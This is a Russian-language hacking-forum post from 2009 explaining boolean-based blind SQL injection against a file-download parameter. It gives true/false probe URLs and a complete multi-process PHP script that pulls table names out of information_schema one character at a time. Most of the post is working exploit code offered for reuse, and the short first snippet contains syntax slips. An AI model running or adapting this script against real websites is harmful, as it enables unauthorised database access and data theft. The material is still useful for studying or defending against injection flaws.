|
Познающий
Регистрация: 29.03.2009
Сообщений: 87
С нами:
9010027
Репутация:
308
|
|
Вобщем такое вот дело было:
У нас есть сайт,где видим:
Код:
http://www.site.com/download.php?id=2
Аля нажмите что бы скачать файл с номер 2 в базе данных.
Но
Код:
http://www.site.com/download.php?id=2+and+1=0
Не качается,а вот так:
Код:
http://www.site.com/download.php?id=2+and+1=1
все нормально
Поскольку пример общий, то я подумал о том, что техника впринципе шаблонная.
Если у меня от запроса не было ответа, или просто file_get_contents, то была необходимость различать ложные ссылки от подлинных:
Код:
<?
$x=97;
$substring = 0;
$sql = "SELECT+column_name+from+information_schema.columns+where+table_name='tabla'+limit+".$limit.",1";
$url="http://www.site.com/download.php?id=2+AND+ascii(substring((".$sql."),".$substring.",1))="$x;
$var = strlen(file_get_contents($url,FALSE,NULL,0,1));
if ($var != 0){
echo "TRUE";
}else{
echo "FALSE";
}
}
?>
1 - максимальное значение, которое я получал, мы читаем strlen длину строки, хотя, если мы получим 1 означает, что символ является правдой.
Код:
<?php
/*
Coded by [underwater]
http://forum.antichat.ru
thx Qwazar
*/
set_time_limit (0);
error_reporting(0);
function ordenar($file){
$file = file($file);
foreach ($file as $var){
list($ansii,$valores)= explode(">",$var);
$vars[$ansii] = $valores;
}
ksort($vars);
foreach ($vars as $var){
$data .=trim($var);
}
return array($data,$vars);
}
function blind($limit,$substring,$file){
$ascii = array(44,0,95,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,
113,114,115,116,117,118,119,120,121,122,48,49,50,51,52,53,54,55,56,57,
65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90);
for ($x=0;$x<=count($ascii);$x++){
$f1=fopen($file,"a");
$sql = "SELECT+table_name+from+information_schema.tables+where+table_schema='db'+limit+".$limit.",1"; // Отображение таблиц в БД
$url="http://www.site.com/download.php?id=2+AND+ascii(substring((".$sql."),".$substring.",1))=".$ascii[$x];
$var = strlen(file_get_contents($url,FALSE,NULL,0,1));
if ($var != 0){
$info = $substring . ">".chr($ascii[$x])."\n";
$string.= chr($ascii[$x]); // Получаем значение и сохраняем его
echo "[".$substring."] > FOUND :>>>>>>>>>>> ".$string."\r\n";
fwrite($f1,$info);
fclose($f1);
exit();
}else{
echo chr($ascii[$x]).chr(13);
}
}
}
############################################################################################
$start = $argv[2];
$finish = $argv[3];
$limit = $argv[1];
$file = rand().".txt";*
while (file_exists($file)) {
$file = rand().".txt";*
}
$pids = array();
for($i=$start;$i<=$finish;$i++)
{
$pid = pcntl_fork();
if($pid == -1) { die('ERROR');
} else if ($pid) {
$pids[] = $pid;
} else {
blind($limit,$i,$file);
exit();
}
}
foreach($pids as $pid) {
pcntl_waitpid($pid, $status);
}
list($data,$vars) = ordenar($file);
echo "Значение :> ".$data."\r\n";
unlink($file);
?>
2 Qwazar: спасибо, исправил, разобрались))
Последний раз редактировалось [underwater]; 18.04.2009 в 18:43..
|